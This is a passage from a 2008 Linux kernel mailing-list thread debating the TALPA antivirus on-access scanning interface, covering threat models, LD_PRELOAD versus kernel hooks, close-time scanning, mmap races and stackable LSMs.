> but first someone needs to answer Ted's very basic questions or the
> TALPA side really does look like a donkey in this argument.

I think that the english saying is "It takes two to tangle". As much as I 
am "guilty" for stepping out on Pavel's dejavu comments while at this 
stage I agree we should be making a more coherent and systematic threat 
model, you also haven't really contributed anything new and constructive 
by jumping into my (or was it Jonathans?) reply to him. So I disagree that 
"AV side" is the only side making circular argument and looking as a 
donkey (thanks), especially in todays exchange.


So lets finish this thread now and hopefully we will have something real 
to discuss soon.

--
Tvrtko A. Ursulin
Senior Software Engineer, Sophos

"Views and opinions expressed in this email are strictly those of the 
author.
 The contents has not been reviewed or approved by Sophos."


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Pavel Machek]

On Wed 2008-08-13 15:16:12, tvrtko.ursulin@sophos.com wrote:
> Arjan van de Ven <arjan@infradead.org> wrote on 13/08/2008 14:54:01:
> 
> > > I am not sure what you are suggesting, and I may have missed the
> > > libmalware proposal (I don't see any mention of that specific idea in
> > > any other message).  However, just to be clear...  At no point did we
> > > suggest that the kernel would do any scanning.  What we have been
> > > interested in is a mechanism that can allow a scanning application to
> > > be notified by the kernel of specific i/o events, for those events to
> > > be blocked by the kernel until a user-space scan is done, and then the
> > > user-space scan sends back allow or deny, at which point the i/o event
> > > returns to the caller -- either success or error.  This is the only
> > > way that malware can be guaranteed of being detected when it is used
> > > (for local application purposes or for transmission to another
> > > platform) or created. 
> > 
> > this is a very broad statement that ignores the LD_PRELOAD approach,
> > and thus not true.
> 
> LD_PRELOAD does not solve at least knfsd and suid binaries. But we are 
> going in circles. :)

Yes, there are about 5 suid binaries on typical linux system. Link
them to libmalware by hand.

> > > Also, a solution that requires applications to be modified will not
> > > work, because there is no way that we would be able to get ALL
> > > applications on the machines to be modified in the required ways.  If
> > > ANY applications are not so modified, then you have an unacceptable
> > 
> > you don't need to modify applications to make them use a library...
> 
> Same is true for a kernel solution. Plus, it also works for those who make 
> system calls directly, knfsd and suid binaries, and we can have cheap and 
> ultra-efficient caching. Not much kernel code, even less complex kernel 
> code and unmeasurable impact when not used and compiled in. What are the 
> big technical objections to that?

That is does not work?

(Neither does LD_PRELOAD; it still has the old mmap problem. Too bad,
but at least you get 99.9% coverage of all the apps). 
									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Alan Cox]

> > LD_PRELOAD does not solve at least knfsd and suid binaries. But we are 
> > going in circles. :)
> 
> Yes, there are about 5 suid binaries on typical linux system. Link
> them to libmalware by hand

And knfsd ?

Oh yes you don't seem to have an answer just manure to throw

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Pavel Machek]

On Thu 2008-08-14 21:06:04, Alan Cox wrote:
> > > LD_PRELOAD does not solve at least knfsd and suid binaries. But we are 
> > > going in circles. :)
> > 
> > Yes, there are about 5 suid binaries on typical linux system. Link
> > them to libmalware by hand
> 
> And knfsd ?
> 
> Oh yes you don't seem to have an answer just manure to throw

I think I acknowledged inability to handle knfsd... just don't use
knfsd, then. Its not like nfs is critical for communicating with
Windows, right?

That is still better than proposed solution here -- TALPA breaks with
mmap, or when someone does read too soon after write. 

Marketing "antivirus" system that is racy be design seems to deserve
some manure.
								Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[David Wagner]

David Collier-Brown writes:
>Arjan van de Ven wrote:
>> we do still appreciate your description, since I don't think there's a
>> clear "here's what we really try to protect against" statement yet.
>
>  Perhaps I could try: the AV folks are trying to prevent the
>execution of either modified normal binaries/files or 
>specifically exploit binaries/files, by machines for which the 
>files are executable or interpretable.

1. We already know how to prevent/detect modifications to
normal binaries.  See Tripwire etc.  As far as I know, no new
kernel technology is needed.

2. Preventing execution of exploit binaries/files is not a
well-defined problem, because there is no reliable way to recognize
an exploit binary.  If this is the problem definition, then in
practice it will probably be impossible to meet this goal exactly.
So this sounds like a kind of "aspirational" goal, but presumably
it's not the whole story and it's not a full problem statement, and
we need to know more precisely what the goals do and don't include.
At some point we have to get beyond slogans and philosophies and
move on to specifics.

3. Let me point out that you snipped a key line from Arjan van
de Ven's email:

  Answering Ted's questions would be a really good start...

And in particular you haven't answered Ted's questions.  I agree
with Arjan's email: I think we have to know the answer to Ted's
questions before we can have a meaningful technical discussion.
What's the threat model?  What problem, specifically, are we
trying to solve?  What are the security goals?  Given that there
are no silver bullets and there's no way to stop all attacks, which
class of risks are or aren't in scope?

Bottom line: It's helpful to try to understand each other's point
of view and where we're each coming from, and this may be a start
on that, but I don't think this answers the questions yet.  It seems
like we're still talking past each other.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Alan Cox]

On Mon, 11 Aug 2008 21:53:23 +0000 (UTC)
daw@cs.berkeley.edu (David Wagner) wrote:

> David Collier-Brown writes:
> >Arjan van de Ven wrote:
> >> we do still appreciate your description, since I don't think there's a
> >> clear "here's what we really try to protect against" statement yet.
> >
> >  Perhaps I could try: the AV folks are trying to prevent the
> >execution of either modified normal binaries/files or 
> >specifically exploit binaries/files, by machines for which the 
> >files are executable or interpretable.
> 
> 1. We already know how to prevent/detect modifications to
> normal binaries.  See Tripwire etc.  As far as I know, no new
> kernel technology is needed.

Tripwire is incredibly ineffecient and ineffectual because we don't have
a scalable 'file was modified' notifier

Alan

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[David Collier-Brown]

Sidebar again...

David Wagner wrote:
> 3. Let me point out that you snipped a key line from Arjan van
> de Ven's email:
>   Answering Ted's questions would be a really good start...

Alas, I don't remember what Ted's question was, so I tried to see
if I could start a discussion about the most general one (;-))

--dave (not an AV guy) c-b
-- 
David Collier-Brown            | Always do right. This will gratify
Sun Microsystems, Toronto      | some people and astonish the rest
davecb@sun.com                 |                      -- Mark Twain
cell: (647) 833-9377, bridge: (877) 385-4099 code: 506 9191#

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Theodore Tso]

On Wed, Aug 06, 2008 at 12:07:57PM +0100, tvrtko.ursulin@sophos.com wrote:
> > - Some set of requirements suddenly appears out of the void on 
> >   linux-kernel.
> 
> Because previously it was said to go away and come back with a clear list 
> of requirements. And here you make it sound like a negative thing. See 
> what I am talking about?

The list of requirements you came up with was a very low-level set of
requirements.  This is why Al Viro called it not much better than we
want a bunch of hooks here, here, and here.

What is needed is the high-level set of requirements --- which in the
case of security fixes, really needs to start with a threat model (or
threat models).  See my previous message, where I tried to help you
guys out on this.  There are scenarios such as "The Linux Desktop",
where the Clueless User may be tricked to run random binaries.  Then
there is the "The Linux Fileserver", where users may upload malware
via CIFS, NFS, et. al, but there aren't any Clueless Users to start
the malware running on said Linux Fileserver, etc.  When you do threat
analysis you need to know whether the malware is likely to have
compromised root (superuser) access or not.   Etc.

Low-level requirements are things like "this code must take the
number, multiply by it 7, and add 42".  High-level requirements answer
the question, why the heck are you trying to do this in the first
place?!?

						- Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Greg KH]

On Wed, Aug 06, 2008 at 11:05:43AM +0100, tvrtko.ursulin@sophos.com wrote:
> Greg KH wrote on 05/08/2008 21:26:21:
> 
> > > [JON PRESS]  I wouldn't call it lazy, actually.  It's more like
> > > "economical" or "ergonomic" -- or, dare I say it -- "user-friendly." 
> In
> > > this case, the users are the AV vendors who will have to write to the
> > > API that will come out of this spec.  We will be more inclined to
> > > appreciate the SDK (for want of a better term) if it covers all the
> > > bases, rather than force us to go elsewhere for some of our
> > > requirements.  When we write SDKs, we try to make sure that our users
> > > will find whatever they need.
> > 
> > But realize that you are adding an overhead on us, the kernel community,
> > to make your life easier.  We are the ones that are taking our time to
> > review and comment on this code.  We are the ones who will have to live
> > with this code for forever, and maintain it over the lifetime of linux.
> > So far, you all have shown no willingness to give anything back to us at
> > all.
> 
> We all? How is that true? I for example wrote some code and am willing to 
> help maintain it if it gets accepted.

You did?  I didn't see any patches from you here, did I just happen to
miss them?

If Eric's code was based on yours, that's great, but it didn't imply
maintenance, especially as it doesn't look like your original patches
much :)

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Eric Paris]

On Wed, 2008-08-06 at 08:17 -0700, Greg KH wrote:
> On Wed, Aug 06, 2008 at 11:05:43AM +0100, tvrtko.ursulin@sophos.com wrote:
> > Greg KH wrote on 05/08/2008 21:26:21:
> > 
> > > > [JON PRESS]  I wouldn't call it lazy, actually.  It's more like
> > > > "economical" or "ergonomic" -- or, dare I say it -- "user-friendly." 
> > In
> > > > this case, the users are the AV vendors who will have to write to the
> > > > API that will come out of this spec.  We will be more inclined to
> > > > appreciate the SDK (for want of a better term) if it covers all the
> > > > bases, rather than force us to go elsewhere for some of our
> > > > requirements.  When we write SDKs, we try to make sure that our users
> > > > will find whatever they need.
> > > 
> > > But realize that you are adding an overhead on us, the kernel community,
> > > to make your life easier.  We are the ones that are taking our time to
> > > review and comment on this code.  We are the ones who will have to live
> > > with this code for forever, and maintain it over the lifetime of linux.
> > > So far, you all have shown no willingness to give anything back to us at
> > > all.
> > 
> > We all? How is that true? I for example wrote some code and am willing to 
> > help maintain it if it gets accepted.
> 
> You did?  I didn't see any patches from you here, did I just happen to
> miss them?
> 
> If Eric's code was based on yours, that's great, but it didn't imply
> maintenance, especially as it doesn't look like your original patches
> much :)

First copyrights in all those files are Sophos.  Tvrtko is where the
basis for most of these code came from.  Although ongoing maintenance
has not been discussed, he and Sophos deffinitely get the credit for
working on code.

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Arjan van de Ven]

On Tue, 5 Aug 2008 16:15:32 -0400
"Press, Jonathan" <Jonathan.Press@ca.com> wrote:

> 
> > Also, it seems to me that for my purposes, close is discrete enough.
> It
> > tells me that there is now something out there that should be looked
> at.
> 
> So, if you hook glibc to catch all calls to close, is that sufficient?
> 
> [JON PRESS]  Let's see...I'm going to use inotify for some events,
> glibc for others, and this API for the rest.  Would you really want
> to write an application like that?

so you have to do 2 cases:

1) inotify to notice files changing
 (no need to hook glibc for that, and no need to hook close() since you
 already get a notify for the change)

This is to catch the *creation* of "bad" content (say a browser saving a
download or somesuch)

By nature this is asynchronous for both performance and "what could you
do if" reasons.
(but so would the close() scan be, and again please explain how you
deal with write-to-mmap-after-close)

2) A synchronous check on open() or exec()

This is to prevent *use* of "bad" content, either by an application
opening a bad file, or by executing a "bad" program. 

For neither do you need to hook the kernel; ld preload works great for
this. 

This does assume that at some point you have a transition from "ok"
program to the first time you run a "bad" one (via exec or open); and
that you catch it at that point.

I don't yet buy the argument "but what if the virus corrupted your ld
preload", because if it can do that your own virus scanner is also
corrupted.


Can you explain what gap is left after you do these two things?



-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Eric Paris]

On Tue, 2008-08-05 at 13:38 -0700, Arjan van de Ven wrote:
> and again please explain how you
> deal with write-to-mmap-after-close)

http://marc.info/?l=linux-security-module&m=121796172212429&w=2

Write after close will invalidate the close time caching decision, but
will still get caught on the next open....

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Al Viro]

On Tue, Aug 05, 2008 at 01:38:32PM -0700, Arjan van de Ven wrote:

> This does assume that at some point you have a transition from "ok"
> program to the first time you run a "bad" one (via exec or open); and
> that you catch it at that point.
> 
> I don't yet buy the argument "but what if the virus corrupted your ld
> preload", because if it can do that your own virus scanner is also
> corrupted.
> 
> 
> Can you explain what gap is left after you do these two things?

Actually, the real question (and the reason why I question the personal
integrity of the people in "AV community" pushing that kind of trash)
is very simple:

Where Is Your Threat Profile?

Various people had been asking for _years_ to define what the hell are you
trying to prevent.  Not only there'd been no coherent answer (and no, this
list of requirements is _not_ that - it's "what kind of hooks do we want"),
you guys seem to be unable to decide whether you expect the malware in
question to be passive or to be actively evading detection with infected
processes running on the host that does scanning.

Moreover, the answer seems to be changing back and forth to suit the needs
of the moment in the argument.  Slightly exaggregated it goes like this:

-- Why don't you do $FOO?
-- Running virus would be able to evade $FOO, of course!
-- No shit, Sherlock; it would also be able to evade much more intrusive $BAR
you are proposing; here's how <obvious evasion method>
-- Oh, but that's not a problem; think of Linux server with Windows clients
and Windows viruses...

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Arjan van de Ven]

you're still top-posting!
Please do not do that.. post your comments below the mail like anyone
else does.


On Tue, 5 Aug 2008 14:34:26 -0400
"Press, Jonathan" <Jonathan.Press@ca.com> wrote:

> But be that as it may...  I don't want to have to use more than one
> interface to get all the events I am interested in.  I want to
> register as a client and listen, and get everything I need from the
> same place.

that's your problem to be honest. Worst case you have a small wrapper
to funnel various sources into one.


> Also, it seems to me that for my purposes, close is discrete enough.
> It tells me that there is now something out there that should be
> looked at.

inotify tells you that. close does not.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Eric Paris]

On Tue, 2008-08-05 at 11:27 -0700, Arjan van de Ven wrote:
> On Tue, 5 Aug 2008 14:04:26 -0400
> "Press, Jonathan" <Jonathan.Press@ca.com> wrote:
> 
> > 
> > However, I want to point out that scanning on close is still an
> > integral part of AV protection, even if intercepting opens and execs
> > theoretically catches everything.
> 
> 
> but close is... very limited in value. Open is a discrete event
> traditionally associated withh permission checks.
> Close... not so.  (And if you mmap memory, you can then close the file
> and still write to it via the mmap)

Thankfully my implementation will invalidate that close time check and
caching result.  It does the invalidating the same place we update mtime
and my understanding is that mmap has been updating mtime for quite a
while now.  So again, it might not be perfect, but that situation should
get caught the next time around.  I see close time checking as more of a
performance win and as a way to help close some of the length bad
information could exist than anything since its done in a non-blocking
path.

I think we all agree that open is the most interesting time for scanning
operations, but as Jonathan points out there is some value (even if not
perfect value) in looking at closes as well.

> Lets ask it differently: what will you do if you find something nasty?
> You can't fail the close... so why block for it?
> And if you don't block for it... all you would need is an asynchronous
> notification... something like... inotify

I actually already have an async non-blocking close notification built
in.  Instead of waiting for a userspace response we just queue the close
notification and move along.  When userspace gets around to it scanning
and allow/deny caching can then take place at a later time.

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Rik van Riel]

On Tue, 05 Aug 2008 14:39:34 -0400
Eric Paris <eparis@redhat.com> wrote:
> On Tue, 2008-08-05 at 11:27 -0700, Arjan van de Ven wrote:

> > but close is... very limited in value. Open is a discrete event
> > traditionally associated withh permission checks.
> > Close... not so.  (And if you mmap memory, you can then close the file
> > and still write to it via the mmap)
> 
> Thankfully my implementation will invalidate that close time check and
> caching result.  It does the invalidating the same place we update mtime
> and my understanding is that mmap has been updating mtime for quite a
> while now. 

Then isn't the close time check superfluous, since you do the
checks at change time already?

-- 
All rights reversed.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Eric Paris]

On Tue, 2008-08-05 at 20:30 -0400, Rik van Riel wrote:
> On Tue, 05 Aug 2008 14:39:34 -0400
> Eric Paris <eparis@redhat.com> wrote:
> > On Tue, 2008-08-05 at 11:27 -0700, Arjan van de Ven wrote:
> 
> > > but close is... very limited in value. Open is a discrete event
> > > traditionally associated withh permission checks.
> > > Close... not so.  (And if you mmap memory, you can then close the file
> > > and still write to it via the mmap)
> > 
> > Thankfully my implementation will invalidate that close time check and
> > caching result.  It does the invalidating the same place we update mtime
> > and my understanding is that mmap has been updating mtime for quite a
> > while now. 
> 
> Then isn't the close time check superfluous, since you do the
> checks at change time already?

In the patches I posted, "checks" are done at open and close if the
result is not already in the cache.  Every write invalidates the cache
and thus the next open/close will do a "check."

So the longer a process keeps a file open the longer it is susceptible
to "unclean" data existing in that file.

Sidebar to [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[David Collier-Brown]

"Press, Jonathan" <Jonathan.Press@ca.com> wrote:
>>but close is... very limited in value. Open is a discrete event
>>traditionally associated withh permission checks.
>>Close... not so.  (And if you mmap memory, you can then close the file
>>and still write to it via the mmap)

Eric Paris wrote:
> I think we all agree that open is the most interesting time for scanning
> operations, but as Jonathan points out there is some value (even if not
> perfect value) in looking at closes as well.

Open for read is the "traditional" time for scanning, but the
sequence (open for write) -> change -> (time passes or close happens) 
is specifically a good time to do content checking, so as to have the 
answer to the check available for the open for read.

I'd suggest "read" and "write" are the two cases that are interesting,
and that we've been using 'open" an "close" for a not very good
approximation to them (;-))

--dave
-- 
David Collier-Brown            | Always do right. This will gratify
Sun Microsystems, Toronto      | some people and astonish the rest
davecb@sun.com                 |                      -- Mark Twain
cell: (647) 833-9377, bridge: (877) 385-4099 code: 506 9191#

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Rik van Riel]

On Tue, 5 Aug 2008 14:04:26 -0400
"Press, Jonathan" <Jonathan.Press@ca.com> wrote:

> You can say that there are four parts to the malware life cycle --
> getting on a machine, residing there, causing local damage, and
> propagating elsewhere. 

We're getting close.

What exactly are the threat models you want to protect against?

Once we have the answer to that question, we can figure out
whether the current patch set addresses the threat model or
whether alternate approaches are needed.

-- 
All rights reversed.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[jmorris]

On Tue, 5 Aug 2008, Rik van Riel wrote:

> What exactly are the threat models you want to protect against?
> 
> Once we have the answer to that question, we can figure out
> whether the current patch set addresses the threat model or
> whether alternate approaches are needed.

Alas, we've been here before.

http://article.gmane.org/gmane.linux.kernel/608634

  On Thu, 29 Nov 2007, Al Viro wrote:

  > Incidentally, I would really love to see the threat profile we are 
  > talking about.  

  Exactly.

  Please come up with a set of requirements that can be reviewed by the 
  core kernel folk, and perhaps then focus on how to meet those requirements
  once they have been accepted.

To be very clear, so we don't waste any _more_ time and effort on this: 

The anti-malware folk need to first provide a clearly understandable and 
complete description of the problem including a characterization of the 
threat.

The next step is to propose a design which addresses the problem, and to 
clearly and completely demonstrate how it does so.

Only then will it be possible to conduct an informed discussion on the 
underlying case for malware scanning and its possible implementation.



- James
-- 
James Morris
<jmorris@namei.org>

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface foron access scanning

[Andi Kleen]

"Press, Jonathan" <Jonathan.Press@ca.com> writes:
>
> Also...  I was one of the people who brought up the idea of a process
> exclusion when the requirements list was being developed.  I intended it
> as a way that an AV application could exclude specific OTHER processes
> by name (as selected by the AV user)

There's no fixed process name in Linux that cannot be easily faked: 

Use process name -- every process can change that by writing to its own
environment.
Use comm name -- there's a prctl to change that and there can be collisions
Use path name of binary -- breaks with chroot and name spaces. Also existing
binaries can be subverted.
Use inode of binary -- can be faked with fuse and breaks when the binaries
is copied ...
Use dev, inode -- breaks when copying binary and when running on network
file systems without a device node

-Andi

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[tvrtko.ursulin]

Eric Paris wrote on 05/08/2008 01:32:54:

> On Mon, 2008-08-04 at 15:32 -0700, Greg KH wrote:
> > Why would userspace care about these meta-file things, what does it 
want
> > with them?
> 
> Honstely?  I don't know.  Maybe someone with access to the black magic
> source code will stand up and say if most of this metadata is important
> and if so how.

In general this metadata provides more context to the event that happened. 
For example reporting - log message/UI popup/centralised something can be 
displayed saying which user running which application was involved with 
bad stuff. Also we can find out where the user is logged in and send him a 
message there.

It is more descriptive than just failing the access with -EACCESS which 
becomes ambigious.

> > > 10. Filesystem exclusions
> > > -------------------------
> > > One pretty important optimization is not to scan things like /proc, 
/sys
> > > or similar. Basically all filesystems where user can not store
> > > arbitrary, potentially malicious, content could and should be 
excluded
> > > from scanning.
> > 
> > Why, does scanning these files take extra time?  Just curious.
> 
> Perf win, why bothering looking for malware in /proc when it can't
> exist?  It doesn't take longer it just takes time having to do
> 
> userspace -> kernel -> userspace -> kernel -> userspace
> 
> just to cat /proc/mounts, all of this could probably be alliviated if we
> cached access on non block backed files but then we have to come up with
> a way to exclude only nfs/cifs.  I'd rather list the FSs that don't need
> scanning every time than those that do....

Agreed.

> > > Closing remarks
> > > ---------------
> > > Although some may argue some of the filters are not necessary or may
> > > better be implemented in userspace, we think it is better to have 
them
> > > in kernel primarily for performance reasons.
> > 
> > Why?  What numbers do you have that say the kernel is faster in
> > implementing this?  This is the first mention of such a requirement, 
we
> > need to see real data to back it up please.
> 
> In kernel caching is clearly a huge perf win.  I couldn't even measure a
> change in kernel build time when I didn't run a userspace client.  If
> anyone can explain a way to get race free in kernel caching and out of
> kernel redirection and scanning I'd love it   :)

When you don't run an userspace client cache should not come into play 
because nothing will be cached (in this iteration at least). So I guess 
you meant something different here? Like not running an userspace client 
and having the filter disabled (or even not) will produce very little 
overhead, probably not observable without micro-benchmarking. Having an 
userspace client which just replies with "allow" should have even less 
performance impact because most inodes will get cached which means filter 
chain will be shorter on subsequent accesses to the same inode.

In either case it will become obvious how huge performance win is to have 
in kernel caching once you get the numbers. Let me know if I can help you 
with that somehow.

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Helge Hafting]

Greg KH wrote:
>
>
> I don't see anything in the list above that make this a requirement that
> the code to do this be placed within the kernel.
>
> What is wrong with doing it in glibc or some other system-wide library
> (LD_PRELOAD hooks, etc.)?
>   

A linux virus would trivially get around that by doing its own syscalls
instead of using glibc. (It might still link dynamically to glibc so
you don't get suspicious, but won' actually use it when doing bad stuff.)

Helge Hafting

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Greg KH]

On Tue, Aug 05, 2008 at 01:21:01PM +0200, Helge Hafting wrote:
> Greg KH wrote:
>>
>>
>> I don't see anything in the list above that make this a requirement that
>> the code to do this be placed within the kernel.
>>
>> What is wrong with doing it in glibc or some other system-wide library
>> (LD_PRELOAD hooks, etc.)?
>>   
>
> A linux virus would trivially get around that by doing its own syscalls
> instead of using glibc. (It might still link dynamically to glibc so
> you don't get suspicious, but won' actually use it when doing bad stuff.)

That's fine, then the file is corrupted.  It is when the "normal"
program goes to load the file that we want to block and determine if we
have a problem or not in the data.

virus scanners are not a security model in the aspect of SELinux or
SMACK.  If they were, they would just use the LSM interface.  virus
scanners are interested in blocking "normal" programs from reading
invalid data from disk before acting on it or executing it.

thanks,

greg k-h

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Casey Schaufler]

Eric Paris wrote:
> Please contact me privately or (preferably the list) for questions,
> comments, discussions, flames, names, or anything.  I'll do complete
> rewrites of the patches if someone tells me how they don't meet their
> needs or how they can be done better.  I'm here to try to bridge the
> needs (and wants) of the anti-malware vendors with the technical
> realities of the kernel.  So everyone feel free to throw in your two
> cents and I'll try to reconcile it all.  These 5 patches are part 1.
> They give us a working able solution.
>
> >From my point of view patches forthcoming and mentioned below should
> help with performance for those who actually have userspace scanners but
> also could presents be implemented using this framework.
>
>   

The LSM list (CCed) should be included in this discussion.
> Background
> ...

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Cliffe]

If we had stackable LSMs then the required functionality could simply be 
built into the LSM interface. Then the anti-malware would simply stack 
itself with other LSMs. In my opinion this is a perfect example for the 
argument of stackable LSMs. So far we mainly have LSMs which provide an 
extra access control mechanism (in addition to DAC). IMHO, Ideally DAC 
could be another stackable LSM (enabled by default). Other security 
schemes such as intrusion detection, firewalls/netfilter, anti-malware, 
and application restrictions (sandboxes such as jails or finer grained 
restrictions such as AppArmor) could all register LSMs onto the stack.

Additional infrastructure would be necessary. Permissible security 
remains a item of contention. Perhaps I am naive but I think most LSMs 
could work based on accept/reject. Where every LSM must accept an action 
in order for it to be carried out.

MHO,

Cliffe.

Casey Schaufler wrote:
> Eric Paris wrote:
>> Please contact me privately or (preferably the list) for questions,
>> comments, discussions, flames, names, or anything.  I'll do complete
>> rewrites of the patches if someone tells me how they don't meet their
>> needs or how they can be done better.  I'm here to try to bridge the
>> needs (and wants) of the anti-malware vendors with the technical
>> realities of the kernel.  So everyone feel free to throw in your two
>> cents and I'll try to reconcile it all.  These 5 patches are part 1.
>> They give us a working able solution.
>>
>> >From my point of view patches forthcoming and mentioned below should
>> help with performance for those who actually have userspace scanners but
>> also could presents be implemented using this framework.
>>
>>   
>
> The LSM list (CCed) should be included in this discussion.
>> Background
>> ...
>
>
> -- 
> To unsubscribe from this list: send the line "unsubscribe 
> linux-security-module" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
>

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Casey Schaufler]

Cliffe wrote:
> If we had stackable LSMs then the required functionality could simply 
> be built into the LSM interface. Then the anti-malware would simply 
> stack itself with other LSMs. In my opinion this is a perfect example 
> for the argument of stackable LSMs.

No argument from me.

> So far we mainly have LSMs which provide an extra access control 
> mechanism (in addition to DAC).

Yes. This is the design center for the LSM.

> IMHO, Ideally DAC could be another stackable LSM (enabled by default).

Yup. Search the archives for "authoritative hooks".

> Other security schemes such as intrusion detection, 
> firewalls/netfilter, anti-malware, and application restrictions 
> (sandboxes such as jails or finer grained restrictions such as 
> AppArmor) could all register LSMs onto the stack.

Stacking is easy for files. It's a real pain in the backside for UDP 
packets.

> Additional infrastructure would be necessary. Permissible security 
> remains a item of contention. Perhaps I am naive but I think most LSMs 
> could work based on accept/reject. Where every LSM must accept an 
> action in order for it to be carried out.

Please propose patches.

> MHO,

Oh, humility isn't all it's cracked up to be. Show us all up and
write the code. I'm serious, I don't think there's anyone here who
would object to a really good stacking scheme.

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Cliffe]

Casey Schaufler wrote:
> Cliffe wrote:
>> Additional infrastructure would be necessary. Permissible security 
>> remains a item of contention. Perhaps I am naive but I think most 
>> LSMs could work based on accept/reject. Where every LSM must accept 
>> an action in order for it to be carried out.
>
> Please propose patches.
>
>> MHO,
>
> Oh, humility isn't all it's cracked up to be. Show us all up and
> write the code. I'm serious, I don't think there's anyone here who
> would object to a really good stacking scheme.

Ah, I'd love to give it a shot but I have this little PhD thesis and 
related LSM and tools I need to work on. I just thought I'd put my 5c in.

Cliffe.

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Paul Moore]

On Monday 04 August 2008 11:44:28 pm Casey Schaufler wrote:
> Cliffe wrote:
> > Other security schemes such as intrusion detection,
> > firewalls/netfilter, anti-malware, and application restrictions
> > (sandboxes such as jails or finer grained restrictions such as
> > AppArmor) could all register LSMs onto the stack.
>
> Stacking is easy for files. It's a real pain in the backside for UDP
> packets.

How is it any better/worse for UDP packets than files?

-- 
paul moore
linux @ hp

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Casey Schaufler]

Paul Moore wrote:
> On Monday 04 August 2008 11:44:28 pm Casey Schaufler wrote:
>   
>> Cliffe wrote:
>>     
>>> Other security schemes such as intrusion detection,
>>> firewalls/netfilter, anti-malware, and application restrictions
>>> (sandboxes such as jails or finer grained restrictions such as
>>> AppArmor) could all register LSMs onto the stack.
>>>       
>> Stacking is easy for files. It's a real pain in the backside for UDP
>> packets.
>>     
>
> How is it any better/worse for UDP packets than files?
>   
On delivery you'd need to decide what security scheme is actually
available on the packet and in what order to interpret any inbound
security data. If you had an MLS scheme that uses CIPSO, an integrity
mechanism using IPSEC and a DAC scheme that assigns user ids by
host address getting the ordering right and every domain registered
properly in the networking stack would be a trick. Plus, making sure
that any state the security scheme requires is tricky. Maybe it's not
actually worse if the schemes agree on what qualifies as a security
element, but if one scheme does access control outbound while another
does inbound it will get hairy.

Re: [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Paul Moore]

On Tuesday 05 August 2008 11:00:31 pm Casey Schaufler wrote:
> Paul Moore wrote:
> > On Monday 04 August 2008 11:44:28 pm Casey Schaufler wrote:
> >> Cliffe wrote:
> >>> Other security schemes such as intrusion detection,
> >>> firewalls/netfilter, anti-malware, and application restrictions
> >>> (sandboxes such as jails or finer grained restrictions such as
> >>> AppArmor) could all register LSMs onto the stack.
> >>
> >> Stacking is easy for files. It's a real pain in the backside for
> >> UDP packets.
> >
> > How is it any better/worse for UDP packets than files?
>
> On delivery you'd need to decide what security scheme is actually
> available on the packet and in what order to interpret any inbound
> security data. If you had an MLS scheme that uses CIPSO, an integrity
> mechanism using IPSEC and a DAC scheme that assigns user ids by
> host address getting the ordering right and every domain registered
> properly in the networking stack would be a trick.

I still don't understand how that is any different from a file or some 
other resource, local or remote.  Assuming a single security label 
(tag, mark, mode, etc.) on an entity on which you wish to apply an 
access control decision the problem boils down to how do you 
internalize the security label in such a way that it can be useful for 
the security mechanism(s).  In the case of a single LSM you do this 
once, in the case of multiple, stacked LSMs you do this multiple times.

With multiple security markings on an entity then you have to decide if 
you want to consider every marking at each LSM instance, or a subset.  
The complexity in this case does go up dramatically, but I think the 
key point for our discussion is that it doesn't matter if the entity is 
a file or a packet.

> Plus, making sure 
> that any state the security scheme requires is tricky. Maybe it's not
> actually worse if the schemes agree on what qualifies as a security
> element, but if one scheme does access control outbound while another
